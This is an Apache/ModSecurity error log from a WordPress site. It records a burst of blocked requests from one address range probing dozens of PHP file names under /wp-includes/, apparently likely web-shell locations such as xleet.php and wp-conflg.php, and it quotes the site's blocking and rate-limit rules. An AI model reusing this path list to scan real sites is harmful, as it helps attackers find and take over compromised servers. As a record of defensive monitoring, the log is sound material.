[Thu Apr 23 07:28:59.102176 2026] [:error] [pid 43083:tid 43090] [client 89.251.0.141:50809] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aelZuzC5hrvNXosL83LPSwAAAMU"]
[Thu Apr 23 07:29:00.047366 2026] [:error] [pid 65000:tid 65039] [client 89.251.0.147:52847] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aelZvL6vRb9j6psK2ZadugAAAgY"]
[Thu Apr 23 07:29:01.750503 2026] [:error] [pid 43083:tid 43097] [client 89.251.0.141:47511] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aelZvTC5hrvNXosL83LPYgAAAMw"]
[Thu Apr 23 07:29:06.552065 2026] [:error] [pid 64967:tid 64991] [client 89.251.0.146:21221] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aelZwoAV4GfOOdX8QzoWIAAAAZY"]
[Thu Apr 23 07:29:07.472835 2026] [:error] [pid 42973:tid 43048] [client 89.251.0.141:36615] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aelZw26I0QqmmmLTHE3c_gAAAIU"]
[Thu Apr 23 07:29:12.206009 2026] [:error] [pid 42971:tid 43006] [client 89.251.0.124:26919] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aelZyDEP2_5RswrH8bGtwQAAABQ"]
[Thu Apr 23 07:29:13.537567 2026] [:error] [pid 65000:tid 65045] [client 89.251.0.113:62313] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aelZyb6vRb9j6psK2ZaeEwAAAgw"]
[Thu Apr 23 07:29:15.540152 2026] [:error] [pid 42971:tid 42990] [client 89.251.0.131:22833] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aelZyzEP2_5RswrH8bGt7gAAAAQ"]
[Thu Apr 23 07:29:17.990183 2026] [:error] [pid 42972:tid 43032] [client 89.251.0.140:37195] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aelZzcOAb-3sOknsk4cj5QAAAFA"]
[Thu Apr 23 07:29:19.302249 2026] [:error] [pid 65000:tid 65045] [client 89.251.0.140:33725] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aelZz76vRb9j6psK2ZaeTQAAAgw"]
[Thu Apr 23 07:29:20.965398 2026] [:error] [pid 65000:tid 65050] [client 89.251.0.147:30921] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aelZ0L6vRb9j6psK2ZaeXAAAAhE"]
[Thu Apr 23 07:29:23.970420 2026] [:error] [pid 43083:tid 43093] [client 89.251.0.140:47257] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aelZ0zC5hrvNXosL83LQSwAAAMg"]
[Thu Apr 23 07:29:26.250688 2026] [:error] [pid 25635:tid 25656] [client 89.251.0.151:60749] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aelZ1sRxv6UsgRGKB3LkWwAAARE"]
[Thu Apr 23 07:29:28.194175 2026] [:error] [pid 42972:tid 43026] [client 89.251.0.138:20745] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aelZ2MOAb-3sOknsk4ckPQAAAEo"]
[Thu Apr 23 07:29:28.884724 2026] [:error] [pid 43083:tid 43095] [client 89.251.0.113:29015] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aelZ2DC5hrvNXosL83LQnQAAAMo"]
[Thu Apr 23 07:29:29.830897 2026] [:error] [pid 59700:tid 59703] [client 89.251.0.142:57813] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aelZ2ZXyGZJFeAIDWtldmQAAAUE"]
[Thu Apr 23 07:29:31.769909 2026] [:error] [pid 43083:tid 43107] [client 89.251.0.128:43061] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aelZ2zC5hrvNXosL83LQvwAAANY"]
[Thu Apr 23 07:29:32.590127 2026] [:error] [pid 64998:tid 65025] [client 89.251.0.142:36025] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aelZ3IV5EysYcTLjmwj7qgAAAdc"]
[Thu Apr 23 07:29:35.800689 2026] [:error] [pid 64967:tid 64978] [client 89.251.0.150:63031] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aelZ34AV4GfOOdX8QzoWtgAAAYk"]
[Thu Apr 23 07:29:37.081382 2026] [:error] [pid 43083:tid 43088] [client 89.251.0.142:48669] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aelZ4TC5hrvNXosL83LRHAAAAMM"]
[Thu Apr 23 07:29:37.664139 2026] [:error] [pid 43083:tid 43107] [client 89.251.0.120:41641] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aelZ4TC5hrvNXosL83LROAAAANY"]
[Thu Apr 23 07:29:39.034843 2026] [:error] [pid 43083:tid 43108] [client 89.251.0.115:20017] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aelZ4zC5hrvNXosL83LRdAAAANc"]
[Thu Apr 23 07:29:40.015570 2026] [:error] [pid 59700:tid 59718] [client 89.251.0.126:64889] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aelZ5JXyGZJFeAIDWtleAwAAAVA"]
[Thu Apr 23 07:29:42.412924 2026] [:error] [pid 59700:tid 59714] [client 89.251.0.127:53597] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aelZ5pXyGZJFeAIDWtleQwAAAUw"]
[Thu Apr 23 07:29:43.525682 2026] [:error] [pid 64998:tid 65017] [client 89.251.0.132:29303] [client 89.251.0.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/plugin-install.php"] [unique_id "aelZ54V5EysYcTLjmwj8CwAAAc8"]
[Thu Apr 23 07:29:44.438796 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.124:51087] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aelZ6DC5hrvNXosL83LRqAAAAMQ"]
[Thu Apr 23 07:29:45.758084 2026] [:error] [pid 65000:tid 65057] [client 89.251.0.143:41867] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aelZ6b6vRb9j6psK2ZafUQAAAhg"]
[Thu Apr 23 07:29:47.248440 2026] [:error] [pid 64998:tid 65017] [client 89.251.0.125:47361] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aelZ64V5EysYcTLjmwj8QQAAAc8"]
[Thu Apr 23 07:29:48.166078 2026] [:error] [pid 65000:tid 65049] [client 89.251.0.147:57725] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aelZ7L6vRb9j6psK2ZafbwAAAhA"]
[Thu Apr 23 07:29:49.278723 2026] [:error] [pid 43083:tid 43092] [client 89.251.0.148:36861] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aelZ7TC5hrvNXosL83LR4QAAAMc"]
[Thu Apr 23 07:29:49.873494 2026] [:error] [pid 59700:tid 59709] [client 89.251.0.143:58579] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aelZ7ZXyGZJFeAIDWtleugAAAUc"]
[Thu Apr 23 07:29:52.418253 2026] [:error] [pid 43083:tid 43091] [client 89.251.0.132:60655] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aelZ8DC5hrvNXosL83LSKgAAAMY"]
[Thu Apr 23 07:29:54.256789 2026] [:error] [pid 42971:tid 43002] [client 89.251.0.127:23235] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aelZ8jEP2_5RswrH8bGvbAAAABA"]
[Thu Apr 23 07:29:55.503158 2026] [:error] [pid 42973:tid 43047] [client 89.251.0.150:45503] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aelZ826I0QqmmmLTHE3dvQAAAIQ"]
[Thu Apr 23 07:29:56.785191 2026] [:error] [pid 64967:tid 64976] [client 89.251.0.116:34491] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aelZ9IAV4GfOOdX8QzoXAgAAAYc"]
[Thu Apr 23 07:29:59.136549 2026] [:error] [pid 43083:tid 43085] [client 89.251.0.141:21885] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aelZ9zC5hrvNXosL83LShAAAAMA"]
[Thu Apr 23 07:30:00.123673 2026] [:error] [pid 42972:tid 43022] [client 89.251.0.119:20645] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aelZ-MOAb-3sOknsk4clKwAAAEY"]
[Thu Apr 23 07:30:01.909227 2026] [:error] [pid 42971:tid 42996] [client 89.251.0.136:59277] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aelZ-TEP2_5RswrH8bGvwAAAAAo"]
[Thu Apr 23 07:30:03.324845 2026] [:error] [pid 65000:tid 65042] [client 89.251.0.113:46531] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aelZ-76vRb9j6psK2Zaf1gAAAgk"]
[Thu Apr 23 07:30:07.663927 2026] [:error] [pid 25635:tid 25655] [client 89.251.0.113:23813] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aelZ_8Rxv6UsgRGKB3LlTgAAARA"]
[Thu Apr 23 07:30:08.392454 2026] [:error] [pid 43083:tid 43097] [client 89.251.0.134:25717] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aelaADC5hrvNXosL83LSvwAAAMw"]
[Thu Apr 23 07:30:10.331122 2026] [:error] [pid 42973:tid 43055] [client 89.251.0.128:22987] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aelaAm6I0QqmmmLTHE3eAwAAAIw"]
[Thu Apr 23 07:30:11.136650 2026] [:error] [pid 64998:tid 65005] [client 89.251.0.116:21063] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aelaA4V5EysYcTLjmwj9EAAAAcM"]
[Thu Apr 23 07:30:12.550277 2026] [:error] [pid 64998:tid 65003] [client 89.251.0.139:52299] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aelaBIV5EysYcTLjmwj9HAAAAcE"]
[Thu Apr 23 07:30:13.215455 2026] [:error] [pid 59700:tid 59703] [client 89.251.0.121:42637] [client 89.251.0.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aelaBZXyGZJFeAIDWtlfOAAAAUE"]
[Thu Apr 23 07:30:13.900407 2026] [:error] [pid 59700:tid 59712] [client 89.251.0.150:46701] [client 89.251.0.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.150, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aelaBZXyGZJFeAIDWtlfRwAAAUo"]
[Thu Apr 23 07:30:13.903343 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 89.251.0.150:46701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:30:14.250250 2026] [:error] [pid 59700:tid 59719] [client 89.251.0.150:46701] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aelaBpXyGZJFeAIDWtlfTAAAAVE"]
[Thu Apr 23 07:30:15.691607 2026] [:error] [pid 59700:tid 59720] [client 89.251.0.140:30349] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aelaB5XyGZJFeAIDWtlfaAAAAVI"]
[Thu Apr 23 07:30:16.414620 2026] [:error] [pid 64998:tid 65003] [client 89.251.0.141:61481] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aelaCIV5EysYcTLjmwj9KgAAAcE"]
[Thu Apr 23 07:30:20.666540 2026] [:error] [pid 65000:tid 65047] [client 89.251.0.141:41929] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aelaDL6vRb9j6psK2ZahBwAAAg4"]
[Thu Apr 23 07:30:21.443887 2026] [:error] [pid 59700:tid 59711] [client 89.251.0.127:40621] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aelaDZXyGZJFeAIDWtlfhgAAAUk"]
